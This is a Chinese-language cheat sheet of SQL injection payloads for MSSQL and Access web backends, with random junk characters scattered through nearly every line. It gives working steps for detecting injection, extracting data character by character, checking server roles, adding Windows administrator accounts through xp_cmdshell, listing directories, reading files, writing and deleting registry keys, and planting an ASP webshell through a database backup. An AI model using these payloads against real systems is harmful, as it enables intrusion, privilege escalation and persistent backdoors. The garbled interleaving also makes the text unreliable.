1.判断是否有注入;and 1=1 ;and 1=2 d/Y#oVI
2.初步判断是否是mssql ;and user>0 A
2Rp
QNesiV0MI
3.注入参数是字符'and [查询条件] and ''=' .-HwT3
- HiRXB
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 8Xjp5
2\J-7o=P
5.判断数据库系统 $|%BaEyk
r>ca17
;and (select count(*) from sysobjects)>0 mssql #cy;((z uB
NANgV~Y&
;and (select count(*) from msysobjects)>0 access k~=_]sLn
*'jI>^o
5VR=D\j
qz6@'1
6.猜数据库 ;and (select Count(*) from [数据库名])>0 K#!c<Li#
.bvEE
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 dcbE<W#ss
&Y3r'"
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 OT{cP3;0*o
!ZrU@T
9.(1)猜字段的ascii值(access) R7ze~[oF
H^r;,Q$9
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 JOFQyhY0>m
^ ^T e
(2)猜字段的ascii值(mssql) @K=C`N_22
GZWU=TC2{2
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 {~cM 6W]f
:ExCGS[
10.测试权限结构(mssql) NY3.?@Z
"1HKD
9qvKg`YSh
r:-,qy
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- %"CF-K@th
f'?FYBL
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- yHYK,3/C,
,,HoD~]rd
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
&-zW1wf
L| K8
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- zW9/[Db
&ku.Q3xGs
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- +nU=)x?38
~
NZC0&
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- s_}q
}NpN<C+
;and 1=(select IS_MEMBER('db_owner'));-- wlsq[xP
0 n}2D7
,y}@I"
^ZPynduR
11.添加mssql和系统的帐户 #bCQEhCy
1=z6m7@'-
;exec master.dbo.sp_addlogin username;-- 4U>g0
;exec master.dbo.sp_password null,username,password;-- ^bk:g}o
Fv$oXg/
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- BHN EP |=
MmQ"z_v
;exec master.dbo.xp_cmdshell 'net user username password 7 F> a&r
K;j0cxl
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 45A|KaVpg
GW,RE\Q:
;exec master.dbo.xp_cmdshell 'net user username password /add';-- <\`qRz0/
"el}9OitC
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ~1:_wni
Xb2.t^
]f
7.FD16
_?v&\j
12.(1)遍历目录 7&&3@96<*#
tE WolO[\
;create table dirs(paths varchar(100), id int) 7A"v:e
z9Nial`p
;insert dirs exec master.dbo.xp_dirtree 'c:\' 4@r76v}{
G3dA`3
;and (select top 1 paths from dirs)>0 4t,f$zk
_qa9wK/
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) |'qvq/#^
/(8"9Sfm
:Lu 9w0>f
R4vf
(2)遍历目录 YHzP/&0
U%)-_
*`z
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- =*{Ii]D
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ~@mNR^W-W
3HqTVq`&
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 pv8vW'G\E
8_/,`}9
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 @Nn'G{8OG
%>-?oor
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 =z zmz7op
`Z^\<{z
[JYy
P&IS$FC.\
13.mssql中的存储过程 IoZ_zz0
bF'Jm*f
xp_regenumvalues 注册表根键, 子键 &}r-C97
qs{wrem
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 >|aVGY
KAg-M#
xp_regread 根键,子键,键值名 9AJ"C7
K57u87=*X?
;exec xp_regread UM2yv6:/
'*D>/hn|:]
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 y({lE3P
[<WoXS1LX
xp_regwrite 根键,子键, 值名, 值类型, 值 '| p"HbJ
_*ar\A`
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 f7/M _sx
;)FmN[
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Rj3ad 3z'E
.uSVZqJ7
xp_regdeletevalue 根键,子键,值名 UCj{
&
m-bu{
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 t;`ULp~&
$WXO1o(O
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2!R+5^Iy
"B>8on8O
_nM 7SK
0?cJ>)N
14.mssql的backup创建webshell |K" nSXzk
Z*Rgik
use model wI;sZJc
(|>rDk;
create table cmd(str image); TKQ^D
(3~^zwA
insert into cmd(str) values (''); gJ~CD1`O
[8Fn0A
backup database model to disk='c:\l.asp'; Ri\\Yb
N>CNgUyP
ZQ>Q=eCs 1
%CrTO(
15.mssql内置函数 D8{,}@
?L0 |$#Iw
;and (select @@version)>0 获得Windows的版本号 |*DkriYY
xz,o Mlw
;and user_name()='dbo' 判断当前系统的连接用户是不是sa m2P&DdN[
ZtmaV27s/
;and (select user_name())>0 爆当前系统的连接用户 r`\@Fv,
T$<yl#FY
;and (select db_name())>0 得到当前连接的数据库 TY%=Y=
CI-1>= "OE
+z:>Nl
Ud7Z7?Ym
16.简洁的webshell n/x((d%"E
Y`(~eNX^%
use model m'N8[ o|h
Ql%B=vgKL
create table cmd(str image); jgS3#
D/JSIDd
insert into cmd(str) values (''); P]TT8Jgw
!Z
0U_*&
backup database model to disk='g:\wwwtest\l.asp';